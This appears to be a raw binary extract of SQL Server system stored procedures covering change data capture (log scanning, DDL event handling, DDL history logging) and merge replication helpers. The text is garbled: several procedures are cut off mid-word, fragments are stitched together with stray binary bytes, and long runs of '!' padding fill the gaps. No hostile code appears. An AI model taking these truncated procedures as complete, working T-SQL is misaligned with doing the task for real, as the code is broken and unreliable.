					  @server               = @@servername
				end
				fetch #herror into @error_id, @sev, @state, @message, @entry_time

			end
				
			close #herror
			deallocate #herror
			
		end	
	return @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ans to perform
    ,@continuous tinyint = 0
    ,@pollinginterval bigint = 0
    ,@is_from_job int = 0
)
as
begin
	set nocount on
	declare @retcode int
		,@xact_seqno varbinary(16)
		,@xact_id varbinary(16)
		,@hours int
		,@minutes int
		,@seconds int
		,@waittime nvarchar(100)
		,@scancnt int
		,@job_id uniqueidentifier
		,@run_date INT
		,@run_time INT
		,@run_duration INT
		,@run_duration_in_sec INT
		,@run_duration_in_hh INT
		,@run_duration_in_mm INT
		,@run_duration_in_ss INT
		,@message nvarchar(1024)
		,@command_count int
		,@tran_count int
		,@start_lsn nvarchar(22)
		,@end_lsn nvarchar(22)
		,@start_time datetime
		,@current_time datetime
		,@db_name sysname
		,@activetrancount int

    --
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR != 0 or @retcode != 0
        return 1

    --
    -- security check
    -- Has to be executed from cdc enabled db
    --
	if not exists (select * from sys.databases where database_id = db_id() and is_cdc_enabled = 1)
	begin
		set @db_name = db_name()
		RAISERROR(22901, 16, -1, @db_name)
		return (1)
	end

	--
	-- Insure that transactional replication is not also trying to scan the log
	--
	exec @retcode = [sys].[sp_MScdc_tranrepl_check] 
	if @retcode <> 0 or @@error <> 0
		return (1)
	
	declare @sp_replcmds table
	(
		[article id] int
		,[partial_command] bit
		,[command] varbinary(2000)
		,[xactid] varbinary(16)
		,[xact_seqno] varbinary(16)
		,[publication_id] int
		,[command_id] int
		,[command_type] int
		,[originator_srvname] sysname
		,[originator_db] sysname
		,[pkHash] int
		,[originator_publication_id] int
		,[originator_db_version] int
		,[originator_lsn] varbinary(16)
	)
	
	-- Parameter validation
	if (@continuous is null) or (@continuous not in (0, 1))
	begin
		raiserror(22998, 16, -1)
		return (1)
	end
	
	if (@continuous = 0)
	begin 
		if  ((@pollinginterval is not null) and (@pollinginterval <> 0))
		begin
			raiserror(22999, 16, -1)
			return (1)
		end
	end
	else	
	begin 
		if  (@pollinginterval is null) or (@pollinginterval > (60*60*24)) or (@pollinginterval < 0)
		begin
			raiserror(22990, 16, -1)
			return (1)
		end
	end

	if ((@maxtrans is null) or (@maxtrans <= 0))
	begin
		raiserror(22991, 16, -1)
		return (1)
	end
	
	if ((@maxscans is null) or (@maxscans <= 0))
	begin
		raiserror(22970, 16, -1)
		return (1)
	end

    if (@continuous = 1)
    begin
                   
		select @seconds = @pollinginterval % 60
		select @minutes = ((@pollinginterval - @seconds) / 60) % 60
		select @hours = (@pollinginterval - (@minutes * 60) - @seconds) / 60

		select @waittime = convert(nvarchar(10), @hours) + N':' +
						   convert(nvarchar(2), @minutes) + N':' +
                           convert(nvarchar(2), @seconds)
	end

	select @run_duration = 0
			,@start_time = getdate()

	--query run_date, run_time from step 1 instead of computing ourselves, better chance to align with mpu format
	if (@is_from_job = 1) 
    begin
		-- Call function to get jobid and access msdb 
        select @job_id = job_id, @run_date = run_date, @run_time = run_time 
		from [sys].[fn_cdc_get_jobid]()
    end
    else
    begin
        select @job_id = null
    end
    
	set @activetrancount = @@TRANCOUNT    

	set @xact_seqno = NULL
	select @xact_seqno = MAX(start_lsn) from cdc.lsn_time_mapping where tran_id != 0x0
	if(@xact_seqno is not NULL)
	begin
		EXEC sp_repldone @xactid = 0x, @xact_segno = @xact_seqno, @numtrans = 0,    @time = 0
	    	if @@ERROR <> 0
	    	begin 
    			set @retcode = 1
	    		goto Failure
    		end	
    	end

    while 0 <> 1
    begin
		set @scancnt = 0
    
		while (@scancnt < @maxscans)
		begin

			BEGIN TRAN
			SAVE TRAN tr_sp_cdc_scan
			
			insert @sp_replcmds exec sp_replcmds @maxtrans
	    		if @@ERROR <> 0 
    			begin 
    				set @retcode = 1
    				goto Failure
    			end
    		
    			select @xact_id = null, @xact_seqno = null
    			select @xact_id = xactid, @xact_seqno = xact_seqno  from @sp_replcmds
    			if (@xact_id is not null and @xact_seqno is not null)
    			begin 
    				EXEC @retcode = sp_repldone @xactid = @xact_id, @xact_segno = @xact_seqno, @numtrans = 0,    @time = 0
    				if @@ERROR <> 0 or @retcode <> 0
    				begin 
    					set @retcode = 1
    					goto Failure
    				end

    				delete from @sp_replcmds
	
				COMMIT TRAN
				

				if(@job_id is not null)
				begin

					select top 1 @command_count = command_count, @tran_count = tran_count
							,@start_lsn = start_lsn, @end_lsn = end_lsn
					from sys.dm_cdc_log_scan_sessions order by session_id desc

		    			select @message = isnull(formatmessage(22803, @start_lsn, @end_lsn, @tran_count, @command_count), N'Message 22803')
								,@current_time = getdate()

					--sysjobhistory.run_duration  int  Elapsed time in the execution of the job or step in HHMMSS format.
    		 			select @run_duration_in_sec = datediff(ss, @start_time, @current_time)
    					select @run_duration_in_hh = (@run_duration_in_sec/60)/60
    					select @run_duration_in_mm = @run_duration_in_sec/60 - @run_duration_in_hh*60 
    					select @run_duration_in_ss = @run_duration_in_sec - (@run_duration_in_hh*60 +  @run_duration_in_mm) * 60
    					select @run_duration = @run_duration_in_hh * 10000 + @run_duration_in_mm * 100 + @run_duration_in_sec
    
	    				exec msdb.dbo.sp_sqlagent_log_jobhistory
    						  @job_id               = @job_id,
    						  @step_id              = 2,
    						  @sql_message_id       = 22803,
    						  @sql_severity         = 10,
    						  @message              = @message,
	    					  @run_status           = 4,
    						  @run_date             = @run_date,
    						  @run_time             = @run_time,
    						  @run_duration         = @run_duration,
    						  @retries_attempted    = 0,
    						  @server               = @@servername
    		
                		end
            		end
            		else
            		begin

				delete from @sp_replcmds
	
				COMMIT TRAN
			end

	
			
    		-- Check here to determine whether log has been drained
    		-- If log drained, exit loop
    		if (@xact_id is null) or (@xact_seqno is null)
    		begin
    			goto Sleep
    		end	
    		
    		set @scancnt = @scancnt + 1
    	end	

Sleep:
		if @continuous <> 0
			waitfor delay @waittime
		else
			return @retcode

    end

Failure:
		if (@@TRANCOUNT > @activetrancount)
		begin
			if XACT_STATE() = 1
			begin
				rollback tran tr_sp_cdc_scan
				commit tran
			end
			else if XACT_STATE() = -1
			begin
				rollback tran
			end
		end
		
		if(@job_id is not null)
		begin
			declare @session_id int
						,@error_id int
						,@sev int
						,@state int
						,@entry_time datetime
						
			select top 1 @session_id = session_id
			from sys.dm_cdc_log_scan_sessions order by session_id desc
									
			declare #herror cursor local fast_forward
			for
				select error_number, error_severity, error_state, error_message, entry_time
				from sys.dm_cdc_errors where session_id = @session_id
				order by entry_time ASC

			open #herror
			fetch #herror into @error_id, @sev, @state, @message, @entry_time

			while (@@fetch_status <> -1)
			begin

				if(@sev > 10)
				begin
					select @message = N'Entry Time ' + convert(nvarchar, @entry_time, 121 ) +  N', Msg ' + cast (@error_id as nvarchar ) + N', Level ' + cast (@sev as nvarchar) + N', State ' + cast (@state as nvarchar) + N', ' + @message + N' ' + formatmessage(22805)

					exec msdb.dbo.sp_sqlagent_log_jobhistory
					  @job_id               = @job_id,
					  @step_id              = 2,
					  @sql_me!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
c-l/v[create procedure sys.sp_cdc_ddl_event_internal 
(
	@EventData xml,
	@ddl_authorized bit
)
with execute as 'dbo'
as
begin
	set nocount on

	declare @qual_object_name nvarchar(1000) --owner qualified name			
			,@objid	int
			,@pass_through_scripts nvarchar(max)
			,@retcode int
    		,@object_name sysname
			,@object_owner sysname
			,@cmd nvarchar(max)
			,@ddl_time nvarchar(1000)
			,@change_table_id int
			,@cmd_length int
			,@capture_instance sysname
			,@source_column_id int
			,@fis_alter_column bit
			,@DDLsubtype sysname
			,@ColumnName nvarchar(1000)
			,@event_type nvarchar(1000)
			,@target_object_name sysname
			,@index_name sysname
			,@ddl_datetime datetime
			,@target_objid int
			,@switch_cmd nvarchar(max)
			
	--parse xml doc to read various nodes		
    select @object_name  = event_instance.value('ObjectName[1]', 'sysname')
        ,@object_owner = event_instance.value('SchemaName[1]', 'sysname')
        ,@ddl_time = event_instance.value('PostTime[1]', 'nvarchar(1000)')
        ,@pass_through_scripts = event_instance.value('(TSQLCommand/CommandText)[1]', 'nvarchar(max)')
        ,@event_type = event_instance.value('EventType[1]', 'nvarchar(100)')
        ,@target_object_name = event_instance.value('TargetObjectName[1]', 'sysname') 
    FROM       @EventData.nodes('/EVENT_INSTANCE') as R(event_instance)
    
    -- If the object owner is 'cdc' simply return. No objects owned by the 'cdc' schema 
    -- can be tracked objects. 
    if (@object_owner = N'cdc') 
    begin
		return 0
	end	
      
    select @qual_object_name = quotename(@object_owner) + N'.' + quotename(@object_name)
    select @objid = object_id(@qual_object_name)
    
    -- If the object is 'dbo.systranschemas' simply return. No objects marked as MS shipped 
    -- can be tracked objects. We don't want the DDL trigger logic to execute during sp_cdc_disable_db
    -- when we drop the table dbo.systranschemas, since the index associated with an index hint used
    -- in the trigger code may not be present. Bug 282563.
    if (@object_owner = N'dbo') and (@object_name = 'systranschemas')
    begin
		return 0
	end	

	select @ddl_datetime = convert(datetime, @ddl_time)  
	if @@error <> 0
	begin
		goto FAILURE
	end

    -- If a table has been dropped, determine whether there are orphaned entries in 
    -- cdc.change_tables.  If the table wasn't enabled for CDC, don't propagate the drop.
    if (@event_type = N'DROP_TABLE') and (sys.fn_cdc_dropped_tables() = 0)
    begin
		return 0
	end	
    
	-- If an altered or dropped index is not being used by a CDC capture instance
	-- don't do anything. If a drop index is being used by CDC, rollback the
	-- transaction.
	if ((@event_type = N'ALTER_INDEX') or (@event_type = N'DROP_INDEX'))
	begin
	    select @qual_object_name = quotename(@object_owner) + N'.' + quotename(@target_object_name)
		select @objid = object_id(@qual_object_name)
	
		if (sys.fn_cdc_index_required(@objid, @object_name) = 0)
		begin
			return 0
		end
		
		if (@event_type = N'DROP_INDEX')
		begin
			raiserror(22983, 16, -1, @object_name, @qual_object_name)
			goto FAILURE
		end
	end	
	
	--initialize variables
	select @retcode = 0
		
	create table #tran_altertable(id int identity not null, 
				DDLsubtype sysname collate database_default null,
				TableOwner sysname collate database_default null,  
				TableName sysname collate database_default null, 
				ColumnName nvarchar(1000) collate database_default null,
				ColumnAttr sysname collate database_default null
	)
	if @@ERROR <> 0
	begin
		goto	FAILURE
	end
	
	-- If an alter index disable is attempted on an index being used by a CDC capture instance, 
	-- rollback the transaction. 
    if (@event_type = N'ALTER_INDEX')
	begin
		--parse DDL to find out if it is an alter index disable
		insert #tran_altertable ( DDLsubtype, TableOwner, TableName, ColumnName, ColumnAttr ) 
			exec sys.sp_replddlparser @ddlCmd = @pass_through_scripts
		if @@ERROR <> 0
		begin
			goto	FAILURE
		end
		
		if exists (select * from #tran_altertable
		           where DDLsubtype = N'ALTERINDEX'
		           and ColumnAttr   = N'DISABLE'
			       and ColumnName   = @object_name) 
		begin
		    raiserror(22983, 16, -1, @object_name, @qual_object_name)
		    goto FAILURE
		end

		return 0
	end			
	
	if (@event_type = N'ALTER_TABLE')
	begin
		--parse DDL to find out if it has anything to do with add/drop/alter column
		insert #tran_altertable ( DDLsubtype, TableOwner, TableName, ColumnName, ColumnAttr ) 
			exec sys.sp_replddlparser @ddlCmd = @pass_through_scripts
		if @@ERROR <> 0
		begin
			goto	FAILURE
		end	

		-- If an altered table is not tracked for CDC don't do anything	
		--  we have to wait until this point as we need to do further processing for SWITCH PARTITION
		if not exists (select * from #tran_altertable where DDLsubtype = N'SWITCH') and (sys.fn_cdc_is_table_enabled(@objid) = 0)
		begin
			return 0
		end

		-- If DDL does not add/drop/alter column, drop/disable constraint or switch partition don't do anything
		if not exists (select * from #tran_altertable where DDLsubtype in
			( N'ADDCOLUMN', N'DROPCOLUMN', N'ALTERCOLUMN', N'DROPCONSTRAINT', N'DISABLECONSTRAINT', N'SWITCH'))
		begin
			return 0
		end

		-- If DDL includes drop or disable constraint		
		if exists (select * from #tran_altertable where DDLsubtype in
			( N'DROPCONSTRAINT', N'DISABLECONSTRAINT'))
		begin	
			-- Determine whether a constraint is to be dropped or disabled for the table 
			-- that is used by CDC.
			select @index_name = sys.fn_cdc_constraint_required(@objid)
			
			if (@index_name is not null)
			begin
				raiserror(22979, 16, -1, @index_name, @qual_object_name)
				goto FAILURE
			end
		end
		
		-- At this point, we only want to log the DDL event if it includes
		-- at least one of these commands.  This covers the case when a
		-- constraint and column are dropped in the same command.
		if not exists (select * from #tran_altertable where DDLsubtype in
			( N'ADDCOLUMN', N'DROPCOLUMN', N'ALTERCOLUMN', N'SWITCH'))
		begin
			return 0
		end
		
		set @fis_alter_column = 0
		
		select top 1 @DDLsubtype = DDLsubtype, @ColumnName = ColumnName
		from #tran_altertable
		
		-- If ALTERCOLUMN, format the type string for the column to  
		-- pass to the capture process.
		if @DDLsubtype = N'ALTERCOLUMN'
		begin
		
			select @source_column_id = column_id
			from sys.columns
			where name = @ColumnName
			and object_id = @objid
		
			set @fis_alter_column = 1


		end
		else if @DDLsubtype = N'ADDCOLUMN'
		begin
			if exists(select * from sys.columns where object_id = @objid and is_column_set = 1)
			begin
				raiserror(22854, 16, -1, @object_name)
				goto FAILURE
			end
		end

		if @DDLsubtype = N'SWITCH'
		begin
			-- The ColumnName column is overloaded to return the target table name for partition switches
			select @target_objid = object_id(@ColumnName)

			if @objid = @target_objid
			begin
				-- Second trigger fired for this switch.  Handling will be done in the first one. 
				return 0
			end

			-- If neither table is enabled for CDC there is nothing to do
			if sys.fn_cdc_is_table_enabled(@objid) = 0 and
				sys.fn_cdc_is_table_enabled(@target_objid) = 0
				return 0
	
			-- Error out if the source table is enabled for CDC and disallows partition switching
			-- (This can only currently be true for partitioned tables.)
			if exists (select top 1 partition_switch from [cdc].[change_tables] where source_object_id=@objid and partition_switch = 0 order by create_date DESC)
			begin
				raiserror(22843, 16, -1)
				goto FAILURE
			end

			-- Error out if the target table is enabled for CDC and disallows partition switching
			-- (This can only currently be true for partitioned tables.)
			if exists (select top 1 partition_switch from [cdc].[change_tables] where so!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
.G0! 8create procedure sys.sp_cdc_logddl_internal 
(
	@source_object_id int
	,@ddl_command nvarchar(max)
	,@ddl_lsn binary(10)
	,@ddl_time nvarchar(1000)
	,@commit_lsn binary(10)
	,@source_column_id int = null
	,@fis_alter_column bit = 0 
	,@fis_drop_table bit = 0
)
AS
begin
	set nocount on
	declare @retcode int
		,@stmt nvarchar(max)
		,@change_table nvarchar(1000)
		,@source_table nvarchar(1000)
		,@change_table_id int
		,@required_column_update bit
		,@type_string_old nvarchar(1000)
		,@column_name sysname
		,@system_type_id int
		,@capture_instance sysname
		,@source_schema sysname
		,@source_name sysname
		,@column_id int
		,@type_string nvarchar(1000) = null
		,@db_name sysname

	-- If a source table has been dropped, we need to disable change tracking 
	-- for the table
	if (@fis_drop_table = 1)
	begin
		-- Drop entries for a dropped source table in [cdc].[index_columns].
		delete from [cdc].[index_columns]
		where object_id in
			(
				select object_id from cdc.change_tables with (index = source_object_id_idx)
				where object_name(source_object_id) is null
			)	 
		
		-- Drop entries for a dropped source table in [cdc].[captured_columns].
		delete from [cdc].[captured_columns]
		where object_id in
			(
				select object_id from cdc.change_tables with (index = source_object_id_idx)
				where object_name(source_object_id) is null
			)	 

		-- Drop entries for a dropped source table in [cdc].[ddl_history].
		delete from [cdc].[ddl_history]
		where object_name(source_object_id) is null
		
   		declare #hinstance cursor local fast_forward
		for
			select capture_instance 
			from cdc.change_tables with (index = source_object_id_idx)
			where object_name(source_object_id) is null
    
		-- Drop tracking entries for the individual capture instance
		open #hinstance
		fetch #hinstance into @capture_instance
	
		while (@@fetch_status <> -1)
		begin
			-- Drop cdc objects associated with the source table 
			exec @retcode = [sys].[sp_cdc_drop_change_table_objects] @capture_instance
			
			fetch #hinstance into @capture_instance
		end	
		close #hinstance
		deallocate #hinstance
    
		-- Remove entries for source table in [cdc].[change_tables].
		delete [cdc].[change_tables]
		where object_name(source_object_id) is null
		
		return(0)
	
	end
	
	-- Make an entry in cdc.ddl_history for all capture instances associated with
	-- the tracked table.
	declare #hobjectids cursor local fast_forward for
		select object_id, capture_instance 
		from  cdc.change_tables with (index = source_object_id_idx) 
		where source_object_id = @source_object_id

	open #hobjectids
	fetch #hobjectids into @change_table_id, @capture_instance
	
	while (@@fetch_status <> -1)
	begin
		
		-- Determine for each instance whether a column update is needed.
		-- An update is only needed for a datatype change to a captured column
		-- that actually modifies the columns' associated type string.
		set @required_column_update = 0

		if @fis_alter_column = 1
		begin
		
			-- Determine the name and column id in the change table that corresponds
			-- to the column_id of the altered source column
			select @column_name = null, @column_id = null
			select @column_name = c.column_name, @column_id = s.column_id
			from cdc.captured_columns c inner join sys.columns s
				on c.object_id = s.object_id and
				   c.column_name = s.name
			where c.object_id = @change_table_id
			and   c.column_id = @source_column_id
		
			-- Determine the type string associated with the altered column if it is present
			-- in the change table.
			if (@column_name is not null) and (@column_id is not null) 
			begin
				set @type_string_old = sys.fn_cdc_format_type(@change_table_id, @column_id)
				set @type_string = sys.fn_cdc_format_type(@source_object_id, @source_column_id)
				if @@error <> 0
					return (1)
				
				select @column_name = column_name
				from cdc.captured_columns
				where object_id = @change_table_id
				and   column_id = @source_column_id
				
				if (@type_string_old <> @type_string)
				begin
					set @required_column_update = 1
		
					set @stmt = N'alter table cdc.' + quotename(object_name(@change_table_id)) +
						N' alter column ' + quotename(@column_name) +
						N' ' + @type_string
					
					exec (@stmt)
				
					if (@@error <> 0)
					begin
						set @change_table = N'cdc.' + object_name(@change_table_id)
						raiserror(22976, 16, -1, @column_name, @change_table)
						return (1)
					end
				
					-- Update the column type in cdc.captured_columns
					set @system_type_id = null
				
					--type_name on clr UDT is null, use user type instead
					select @system_type_id = case system_type_id when 240 then user_type_id else system_type_id end
					from sys.columns 
					where object_id = @change_table_id
					and name = @column_name
		  
					if (@@error <> 0) or (@system_type_id is null)  
					begin
						set @change_table = object_name(@change_table_id)
						raiserror(22978, 16, -1, @column_name, @change_table)
						return (1)
					end

					update cdc.captured_columns
					set column_type = type_name(@system_type_id)
					where object_id = @change_table_id
					and column_id = @source_column_id
				  
					if @@error <> 0  
					begin
						set @change_table = object_name(@change_table_id)
						raiserror(22978, 16, -1, @column_name, @change_table)
						return (1)
					end

					-- Alter the stored procedures to populate the change table
					exec @retcode = [sys].[sp_cdc_create_populate_stored_procs]
						@capture_instance, N'alter' 
					if (@retcode != 0) or (@@error != 0)
					begin
						select @source_name = object_name(@source_object_id),
							@source_schema = object_schema_name(@source_object_id) 
	 					raiserror(22982, 16, -1, @capture_instance, @source_schema, @source_name )
	 					return (1)
					end
				end
			end
		end		
	
		-- Update the history table.
		insert cdc.ddl_history (source_object_id, object_id, required_column_update,
			ddl_command, ddl_lsn, ddl_time) 
		values (@source_object_id, @change_table_id, @required_column_update,
			@ddl_command, @ddl_lsn, @ddl_time)
		
		if @@error <> 0	
		begin
			set @change_table = object_name(@change_table_id)
			raiserror(22977, 16, -1, @change_table)
			return (1)
		end
		
		fetch #hobjectids into @change_table_id, @capture_instance
	end
	
	close #hobjectids
	deallocate #hobjectids
	
	return 0
end
0@ 8
create procedure sys.sp_MSdummyupdate_logicalrecord @parent_rowguid uniqueidentifier, @parent_nickname int, @dest_common_gen bigint
as
    declare @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @parent_nickname 
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    update dbo.MSmerge_contents set generation = 0
    where rowguid = @parent_rowguid
    and tablenick = @parent_nickname
    
    if @@rowcount = 0
    begin
        update dbo.MSmerge_tombstone set generation = 0
        where rowguid = @parent_rowguid
        and tablenick = @parent_nickname
    end
    
    update dbo.MSmerge_contents set generation = 0
    from
    dbo.MSmerge_contents mc join 
    (select distinct nickname from dbo.sysmergepartitioninfoview where logical_record_parent_nickname = @parent_nickname)
		as smpi
    on mc.tablenick = smpi.nickname
    and mc.logical_record_parent_rowguid = @parent_rowguid
    and mc.generation > @dest_common_gen
                
    
    update dbo.MSmerge_tombstone set generation = 0
    from
    dbo.MSmerge_tombstone mc join 
    (select distinct nickname from dbo.sysmergepartitioninfoview where logical_record_parent_nickname = @parent_nickname)
		as smpi
    on mc.tablenick = smpi.nickname
    and mc.logical_record_parent_rowguid = @parent_rowguid
    and mc.generation > @dest_common_gen
    
    if @@error <> 0
        return 1
            
    return 0
!`,b<
C0]S 18
CREATE FUNCTION sys.fn_getvalidname(@object_name sysname)
    RETURNS sysname
AS
BEGIN
    declare @valid_name sysname
    select @valid_name = replace(@object_name, '''', '')
    select @valid_name = replace(@valid_name, '"', '')
    return @valid_name
END    
0:V 98CREATE PROCEDURE sys.sp_MSenum_merge_agent_properties 
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @show_security  bit = 0
) 
AS
begin
    DECLARE @publisher_id int  -- Server id of the Publisher with respect to the Distributor
    declare @publication_id int
    declare @retcode int

    SELECT @publisher_id = NULL 
    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(@publisher) = UPPER(srvname)  

    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END

    select @publication_id = publication_id from 
        dbo.MSpublications where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        (publication = @publication or @publication = N'%')
    if @publication_id is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
    
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_type = 1, -- merge agent
        @publication_id = @publication_id
    if @@error <> 0 or @retcode <> 0
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

	-- These are the main differences between @show_security = 0 and 1:
	--
	--	@show_security = 0
	--		This is the backcompat case and is really meant for 8.0
	--		publishers. Setting it to this value returns the following 
	--		column values:
	--
	--			job_id, offload_enabled, offload_server
	--
	--		Also note that the job_id returned here is from MSmerge_agents
	--		and NOT from sysjobs... so it is possible that the job has been
	--		deleted via komodo procs but we still return the old job_id
	--
	--	@show_security = 1
	--		This is the Yukon case returns the same columns as in @show_security = 0
	--		but also adds the following columns to the resultset:
	--		
	--			subscriber_security_mode, subscriber_login, publisher_security_mode,
	--			publisher_login, credential_identity, merge_agent_name
	--		
	--		Also note that the job_id returned here is from sysjobs and not
	--		from MSmerge_agents. So if the job is deleted via the komodo
	--		procedures then we will return NULL for the job_id
    IF @show_security = 1
    BEGIN
        SELECT sj.job_id, msma.offload_enabled, msma.offload_server,
                msma.subscriber_security_mode,
                msma.subscriber_login,
                sc.credential_identity,
                msma.publisher_security_mode,
                msma.publisher_login,
                msma.name
         FROM dbo.MSmerge_agents msma
         		LEFT JOIN msdb..sysjobs sj
          			ON msma.job_id = sj.job_id
                LEFT JOIN msdb..sysjobsteps sjs
                    ON msma.job_step_uid = sjs.step_uid
                LEFT JOIN msdb..sysproxies sp
                    ON sjs.proxy_id = sp.proxy_id
                LEFT JOIN sys.credentials sc
					ON sp.credential_id = sc.credential_id
         WHERE msma.publisher_id = @publisher_id 
           AND msma.publisher_db = @publisher_db
           AND (@publication = N'%' OR msma.publication = @publication)
    END
    ELSE
    BEGIN
        SELECT msma.job_id, msma.offload_enabled, msma.offload_server
          FROM dbo.MSmerge_agents msma
          LEFT JOIN msdb..sysjobs sj
          		ON msma.job_id = sj.job_id
         WHERE msma.publisher_id = @publisher_id 
           AND msma.publisher_db = @publisher_db
           AND (@publication = N'%' OR msma.publication = @publication)
    END
end
0A[ )8
create procedure sys.sp_MSgetcolumnlist(
@pubid                uniqueidentifier,
@column_list         nvarchar(max) OUTPUT,
@source_objid        int,
@guid_alias            sysname=NULL
)
AS
/* 
** if it is not vertically partitioned, then get all columns 
** else get the column list as given in columns of dbo.sysmergearticles
*/
declare @bitset        int
declare @columns    varbinary(128)
declare @setcolcnt    int
declare @colcnt        int
declare @colname    nvarchar(258)
declare @colid        int
declare @unqual_sourcename    sysname
declare @qual_sourcename    nvarchar(258)

if @guid_alias is NULL
    begin
    select @unqual_sourcename=object_name(@source_objid)
    select @qual_sourcename = QUOTENAME(@unqual_sourcename)
    end
else
    select @qual_sourcename = @guid_alias
    
select @columns = columns from dbo.sysmergearticles where objid = @source_objid and pubid=@pubid
select @column_list = ''
select @setcolcnt    = 0
select @colcnt = count(*) from sys.columns where object_id = @source_objid
declare collist CURSOR LOCAL FAST_FORWARD FOR 
       select name, column_id from sys.columns where object_id = @source_objid order by column_id ASC
FOR READ ONLY
open collist
fetch collist into @colname, @colid
WHILE (@@fetch_status <> -1)
BEGIN
    exec @bitset = sys.sp_MStestbit @columns, @colid
--    if @bitset<>0
    if @bitset<>0 or @columns is null or @columns = 0x00
    begin
        select @colname = QUOTENAME(@colname) --previously we use rowguidcol to replace 'rowguid'
        if @column_list=''                      --which can cause problems and is not necessary.
            select @column_list = @qual_sourcename + '.' + @colname
        else
            select @column_list = @column_list + ', ' + @qual_sourcename + '.' + @colname    
        select @setcolcnt = @setcolcnt + 1
    end                    
fetch next from collist into @colname, @colid            
END
close collist
deallocate collist
if @setcolcnt = @colcnt
    select @column_list = ' * '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<
-)#0ܻ 8
create function [sys].[fn_cdc_job_entry]
(
	@db sysname
)
returns bit
with execute as 'dbo'
as
begin
		
	if exists(select c.job_id, s.step_id, c.job_type, c.database_id
				from msdb.dbo.cdc_jobs c join msdb.dbo.sysjobsteps s on c.job_id = s.job_id
				where s.database_name = @db collate database_default)
		return 1
	return 0
	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!